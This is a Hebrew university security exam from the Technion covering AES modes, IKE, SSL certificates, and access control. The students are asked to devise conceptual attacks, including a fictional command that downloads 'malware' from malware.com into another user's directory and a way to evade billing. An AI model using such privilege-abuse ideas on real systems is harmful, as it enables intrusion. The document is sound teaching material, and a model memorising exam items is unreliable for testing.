הטכניון- מכוןטכנולוגילישראל הפקולטהלמדעיהמחשב מבחןבהגנהבמערכותמתוכנתות 236350 סמסטרחורף, תשע"א מועדא', 14.2.2011 מרצהאחראית: ד"רשרהביתן מתרגל: אלעדגדרון משךהמבחן: שלוששעות. במבחן 4 שאלות. ענועלכולן. במבחןזה 6 עמודים, כוללעמודזה. וודאושכלהדפיםנמצאים. מותרלהשתמשבכלחומרעזרלאאלקטרוניובמחשבון. הקדישואת 10 הדקותהראשונותלקריאתכלהשאלותוהבנתן. ענותשובותברורותככלהאפשר. נמקואתכלתשובותיכם. כתבובצורהמסודרתונקייהובכתבברור. תשובותלאברורותלאתיבדקנה. בהצלחה! 1
שאלה - 1 AESואופני תפעול (25 נק') הוחלט לשנות את AES ע"י החלפת פעולת ה- MixColumns בפעולת ShiftColumns הדומה לפעולת ה- ShiftRows אך פועלת על עמודות. בדומה לפעולת ה- ShiftRows פעולת ה- ShiftColumns משאירה את בתים), מבצעת הזזה ציקלית של בית השמאלית ביותר בטבלה כפי שהיא (הזזה ציקלית של 0 העמודה אחד למטה על העמודה השניה, הזזה ציקלית של שני בתים למטה על העמודה השלישית והזזה ציקלית למטה על העמודה הרביעית. האיור הבא ממחיש כיצד פועלת פעולת ה- ShiftColumns של שלושה בתים על המצב: א. הצופן החדש לעמידות הצופן המקורי כנגד התקפת.chosen-plaintext attack השוו בין עמידות פחות בטוח, תארו התקפת chosen-plaintext כנגדו, ציינו מהו מספר הזוגות (P,C) אם הצופן החדש הדרוש עבור ההתקפה וציינו מה סיבוכיות המקום והזמן של ההתקפה. אם הבטיחות כנגד ההתקפה לא השתנתה הסבירו מדוע. הסעיפים הבאים אינם קשורים לסעיף א' ב. אופן התפעול (Number Mode) NBR הוא אופן תפעול המוגדר באופן הבא: C i =M i E k (i) בתרשים נראה הדבר כך: M 1 M 2 M n 1 2 n E E... E C 1 C 2 C n של Number Mode על פני.ECB תאר שני יתרונות 2
ג. ה. למתרגל ולמרצה בקורס "הגנה במערכות מתוכנתות" מפתח סודי משותף המשמש להצפנה ולפענוח של הודעות. הם משתמשים בו ע"מ להצפין ביניהם הודעות באמצעות צופן סימטרי בטוח באופן תפעול.NBR לפני מועד א' בקורס "הגנה במערכות מתוכנתות" שלח המתרגל עותק מוצפן של המבחן למרצה. לפני מועד ב', פרסם המתרגל את מועד א' באתר הקורס ושלח למרצה עותק מוצפן של מועד ב' שאורכו כאורך מועד א'. תארו כיצד סטודנט הלומד למועד ב' ומאזין לתקשורת המוצפנת שעוברת בין המתרגל למרצה יכול ללמוד את תוכן המבחן (מועד ב') לפני פרסומו. הציעו שינוי קל ל- Mode Number כך שהמתרגל והמרצה יוכלו להעביר ביניהם עותק מוצפן ב- NBR של מועד ב' בלי לחשוש שתוכנו ייחשף ע"י הסטודנטים. המתרגל והמרצה מעוניינים להמשיך להשתמש בצופן ובמפתח היחיד בהם השתמשו לצורך הצפנת מועד א'. אסור שהשינוי שלכם יכלול פעולות הצפנה או xor נוספות לאלה שבשימוש בהפעלה של Number Mode המקורי ועליכם לשמר את היתרונות של NBR על פני.ECB המתרגל הציע להוסיף (Message Authentication Code) MAC להודעות המועברות בינו ובין המרצה. הוא הציע להשתמש ב- NBR-MAC המוגדר באופן דומה ל- CBC-MAC כפי שנלמד בכיתה. כלומר, לצורך חישוב ה- MAC המרצה והמתרגל יחשבו את הצפנת ההודעה M תחת מפתח k (השונה מהמפתח המשמש להצפנה) וישתמשו ב- Cבתור n ה- MAC. חוו דעתכם על הצעת המתרגל. שאלה - 2 IKE 25) נק') א. ב. ראינו בכיתה את חשיבות מחרוזות ה- CKY בהגנה נגד DOS ב- mainmode.ike הסבירו בקצרה כיצד ה- CKYמונע את ההתקפה ומדוע ב- aggressivemode IKEההגנה לא קיימת. הוחלט לשנות את באופנים הבאים. ניתן להניח שהתוקף יכול ליצור קשר עם השרת בלי לסיים את ההתקשרות. כמו כן השרת לא יאפשר התחברות מאותו כתובת IPיותר מפעם בשעה אם מה- IP הזה ניסו ליצור התחברות ולא סיימו אותה. עבור כל הצעה ל- ענו: האם עדיין יש חסינות ל- DOSב- mainmode?ike נמקו. =h ) =h ) =h ) =h ) hהיא פונקצית תמצות קריפטוגרפית בטוחה הידועה לכולם. הן, כתובות ה- IPשל השרת והלקוח. הוא רשימת ה- SAשהיוזם שלח בהודעה הראשונה. - מספר סודי באורך 256 -ביט ששמור בשרת וידוע רק לו. - מספר אקראי בן 256 -ביט שהשרת מגריל בכל הפעלה של הפרוטוקול. - מפתח ה- DHשל השרת. בכל הפעלה של הפרוטוקול מוגרל חדש. (1 (2 (3 (4 כאשר: 3
הסעיפים הבאים בשאלה זו אינם תלויים זה בזה ובסעיפים הקודמים. ג. הוחלט לשנות את אופן חישוב מפתחות Diffie-Hellmanבפרוטוקול.IKE במקום שכל צד יבחר את באופן אקראי וישלח את המפתח הפומבי יחושב כך: ) כאשר: hהיא פונקצית תמצות קריפטוגרפית בטוחה הידועה לכולם. - מספר סודי באורך 256 -ביט ששמור מקומית וידוע רק למחשב המקומי. CKY ה- CKY של המחשב הנוכחי, ניתן להניח שהוא שונה בכל הפעלה של הפרוטוקול. הסבירו מדוע הגרסה החדשה של IKE לא בטוחה כמו הגרסה הרגילה של IKE בה ו- הם ערכים אקראיים שמוגרלים ע"י כל צ הוחלט לשנות את אופן חישוב h hו- h hבצורה הבאה: h h = ) h h = ) ובנוסף הוחלט לשנות את אופן גזירת המפתחות בפאזה הראשונה: SKEYID =PRF ) g CKY CKY 0) SKEYID =PRF ) SKEYID g CKY CKY 1) SKEYID =PRF ) SKEYID g CKY CKY 2) האם הגרסה החדשה של IKEבטוחה כמו הגרסה הרגילה של?IKE אם כן הסבירו מדוע, אחרת הדגימו התקפה שהגרסה החדשה חשופה אליה, והמקורית לא. הבחינו בתשובתכם בין אימות עם חתימות לאימות עם סוד משותף ובין mode-לmain mode.aggressive 4
שאלה - 3 בקרת כניסה (25 נק') שרת ה- Web של חברת,www.matchme.com,MatchMe מספק למשתמשיו גישה אל שירות ההכרויות שאותו מספקת החברה. כאשר משתמש נרשם לשירות הוא מקבל שם משתמש וסיסמה, בעזרתם הוא מזדהה ללא אימות הלקוח. נעשית באמצעות SSL הגישה אל שרתי MatchMe מול השרת שמאמת את זהותו. המשתמש ניגש בעזרת הדפדפן שלו לשרת,MatchMe ולאחר הקמת ה- session SSL מורץ פרוטוקול בקרת הכניסה Telnet Authentication שראינו בכיתה. לאחר שהמשתמש מזדהה, נמסרים לו מספרי טלפון של משתמשי MatchMeשמעוניינים להכיר אותו. הסבירו מדוע מאובטח פרוטוקול בקרת הכניסה באמצעות?SSL א. הסבירו כיצד מוודא הדפדפן את הסרטיפיקט של שרת.MatchMe בין היתר צריך ההסבר לתאר גם ב. כיצד הדפדפן מוודא כי הסרטיפיקט של MatchMeהונפק ע"י CAאמין. למדנו כי פרוטוקול בקרת הכניסה של (Telnet Authentication) Telnet חשוף להתקפת שידור חוזר. ג. נמקו. חשוף להתקפת שידור חוזר? האם גם פרוטוקול בקרת הכניסה לשרתי MatchMe רחל עובדת בחברת ההיי-טק.WeRTheBest לחברה מספר גדול של שרתים פנימיים, שהגישה לכולם נעשית באמצעות.SSL גם כאן המשתמש ניגש לשרת הפנימי באמצעות הדפדפן, ולאחר הקמת ה- SSL,session מורץ פרוטוקול בקרת הכניסה.Telnet Autentication מכיוון שהשרתים פנימיים, חברת WeRTheBest הקימה CA פנימי, שמנפיק סרטיפיקטים (בפורמט סטנדרטי (X509v3 לשרתים הפנימיים. הדפדפנים במחשבי החברה (ניידים ונייחים) מפסיקים פתיחת SSL Session במידה ואימות הסרטיפיקט שמציג השרת נכשל. בנוסף, נתון כי כל הגישות לאינטרנט מהחברה עוברות דרך שרת.proxy ה. ו. הסבירו כיצד מוודא הדפדפן את הסרטיפיקט של השרתים הפנימיים בהינתן שאימות השרת מצליח. הסבירו כיצד דואגת חברת WeRTheBestלכך ה- CAהפנימי שלה יוכר כמהימן ע"י הדפדפן. רחל משתמשת בשירותיה של חברת.MatchMe לואיזה, מנהלת הרשת של חברת,WeRTheBest רשומה כבר זמן רב לשירות ואף משתמש איננו פונה אליה. יום בהיר אחד החליטה לנצל את תפקידה בכדי להשיג את מספרי הטלפון של המשתמשים (הרבים) שפנו אל רחל. הסבר כיצד יכולה לואיזה להשיג את מספרי הטלפון? תארו כיצד יכולה חברת MatchMeלפתור את הבעיה. 5
שאלה - 4 בקרת גישה (25 נק') הפקולטה למדעי המינהל שבאוניברסיטת חלם מספקת לסטודנטים שלה שירותי תקשורת לאינטרנט, וגובה מהם תשלום, לפי זמן הגלישה אותו ניצלו. הפקולטה למינהל מאפשרת לסטונדטים לטעון קבצים לכתובות באינטרנט upload),(file ולהוריד קבצים מכתובות באינטרנט download).(file כל משתמש יכול לטעון קבצים לאינטרנט, ולהוריד קבצים מהאינטרנט. הגישה לאינטרנט נעשית באמצעות תהליך נקרא intgwשמופעל בצורה הבאה: intgw f file u url d < up down > כאשר url היא כתובת האינטרנט של הקובץ שיטען אל/מהאינטרנט, file מכיל את כתובת הקובץ המקומי, ו- up או down מציינים האם יתבצע uploadאו.download כל משתמש יכול לטעון קבצים מ/אל האינטרנט אל/מ ה- directory home שלו. אם כיוון הטעינה הוא, down והקובץ file כבר קיים בספריה, הקובץ הקיים ימחק (פעולת,(delete ויווצר קובץ file חדש (פעולת,(create שיכיל את הקובץ שנטען מהאינטרנט. אם נעשה נסיון לבצע create לקובץ שכבר קיים, מתקבלת שגיאת מערכת, ותהליך ההורדה נכשל. בנוסף קיים קובץ מיוחד,/logs/connection_log שמכיל את זמני תחילת וסיום החיבור לאינטרנט של כל אחד מהמשתמשים. intgw רושם ל- connection_log את התאריך והשעה בתחילת ובסיום כל העלאת/הורדת קובץ. אחת לחודש מריץ מנהל המערכת (שיש לו הרשאות (root תכנית שמחייבת את חשבונות הבנק של המשתמשים, ולאחר מכן מוחקת (delete) את הקובץ connection_log וכותבת אותו מחדש.(create) בקרת הגישה הממומשת במערכת היא מסוג DAC ה. אוביקטים שלהם מוקצים ההרשאות הם ספריות וקבצים. אוביקטים חדשים שנוצרים מקבלים בתור ברירת מחדל הרשאות זהות לאילו של הספריה בה הם נוצרו. לכל משתמש יש הרשאות גישה מלאות לספרית הבית שלו (ספרית הבית של rootהיא /), ואין כלל הרשאות גישה לספריית הבית של משתמשים אחרים. למשתמש rootגישה מלאה לכל התיקיות. למשתמשים שאינם root יש אך ורק הרשאת קריאה read) ל)./logs- א. בנו את מטריצת בקרת הגישה שמממשת את מערכת בקרת הגישה המתוארת. יש להשתמש בנתינים אהוד, שרה ו- root, באוביקטים /logs, ~sara ו- ehud ~ (התיקייה u~, היא תיקיית הבית של המשתמש,(u ובהרשאות.read, write, delete, create הסטודנט אהוד החליט לנסות להחדיר תוכנה זדונית לספריות של עמיתיו הסטודנטים שאותם איננו מחבב. תחילה ניסה להריץ את הפקודה הבאה: intgw f ~ehud/hacker_handbook.txt u malware.com/hacker_ hand_book.txt d down שעבדה כצפוי. ע"י ניסוי וטעייה מצא שב- intgwקיימת נקודת תורפה שאפשרה לו לכתוב אפליקציה זדונית לספריה של שרה ע"י ביצוע הפקודה: intgw f ~sara/very_neat_application u malware.com/sus d down מאחר ואהוד הוא hackerמתחיל, הוא לא הצליח לחדור לחשבונות של משתמשים אחרים רק תוך שימוש בחשבון שלו (ולכן גם עם ההרשאות שלו). ולכן הצליח לעבוד 6
ב. ג. תארו מה יכולה להיות הבעיה במימוש האפליקציה.intgw הנחיות: הניחו כי ההרשאות במטריצת בקרת הגישה מוגדרות נכון, וגם נאכפות נכון. 1. בתשובתכם התייחסו לנקודות הבאות: 2. תחת אילו הרשאות רץ התהליך intgwבנקודות הזמן השונות? i. האם התהליך מפר את אחד מעקרונות התכנות הבטוח שנלמדו בהרצאה? מהו העקרון?.ii במהלך ניסיונותיו בילה הסטודנט אהוד שעות רבות בהורדת קבצים מהאינטרנט בחודש הקודם. לאחר שהתמחה בטעינת תכנה זדונית לספריות של עמיתיו, הבין כי נקודת התורפה במימוש של intgwמאפשרת לו גם להימנע מחיוב חשבונו עבור שעות העבודה באינטרנט. הראו כיצד אהוד עושה זאת. תארו פתרון אפשרי לבעיות שתוארו בסעיפים ב ו-ג ונמקו מדוע הוא אכן פותר אותה. 7